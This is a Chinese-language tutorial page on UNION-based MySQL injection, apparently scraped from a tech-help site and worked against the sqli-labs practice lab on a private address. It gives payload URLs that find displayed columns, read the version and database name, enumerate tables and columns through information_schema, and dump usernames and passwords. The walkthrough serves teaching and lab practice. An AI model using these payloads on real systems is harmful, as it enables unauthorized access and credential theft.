当前位置:Gxlcms > 数据库问题 > mysql注入精讲

mysql注入精讲

时间:2021-07-01 10:21:17 帮助过:19人阅读

Select name from t1 where id =-1 这条语句执行的结果为空

Uninon select 1这条语句才能查询到结果,给页面返回查询到的数字。

如何利用呢?也就说只要我们使union前面的sql语句执行的结果为空。才能让页面显示出union 后面的sql语句执行的结果。我们使用and来验证一下。

Select name from t1 where id =1 and 1=1,发现返回的是一个字段。

 技术分享

 

Select name from t1 where id =1 and 1=2,发现查询到的结果为空

 技术分享

 

Select name from t1 where id =1 and 1=2 union select 1,

使用联合查询,查询到数据。

 技术分享

 

熟悉了联合查询的原理。我们来在页面中使用联合查询获取字段。

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘ union select 1,2,3%23

 技术分享

 

看一下执行的sql语句:

SELECT * FROM users WHERE id=‘-1‘ union select 1,2,3#

注意:截图中的执行SQL语句不正确,因为我们使用了#注释以后, #后面的内容已被sql过滤。也就是说#后面的东西为空。

我们发现在页面中返回了2,3两个字段。接下来利用在页面显示的字段来判断sql的版本和数据库。

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘ union select 1,version(),database ()%23

 技术分享

 

发现MySQL的版本是5.5.53>5.0,大于5.0版本的mysql有一个数据库information_schema这个数据库里存储所有有MySQL的操作。我们看到在information_schema中有个表是tables,这个表里存储所有的表的属性。

 技术分享

 

在columns中存储所有有关列的信息。

 技术分享

 

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘ union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=‘security‘%23,获取表名

 技术分享

 

也可以使用

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘ union select 1,2, group_concat(table_name) from information_schema.tables where table_schema=database()%23

 技术分享

 

获取列名,以users表为例。

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘ union select 1,version(),group_concat(column_name)from information_schema.columns where table_name=‘users‘%23

 技术分享

 

获取数据。

http://192.168.16.135/sqli-labs-master/Less-1/?id=-1‘ union select 1,version(),group_concat(username,password) from users%23

 技术分享

 

得到数据库的管理的用户名和密码。那么接下来怎么做?

 

mysql注入精讲

标签:5.0   二分法   注入   一点   images   mysq   表示   联合   mys   

人气教程排行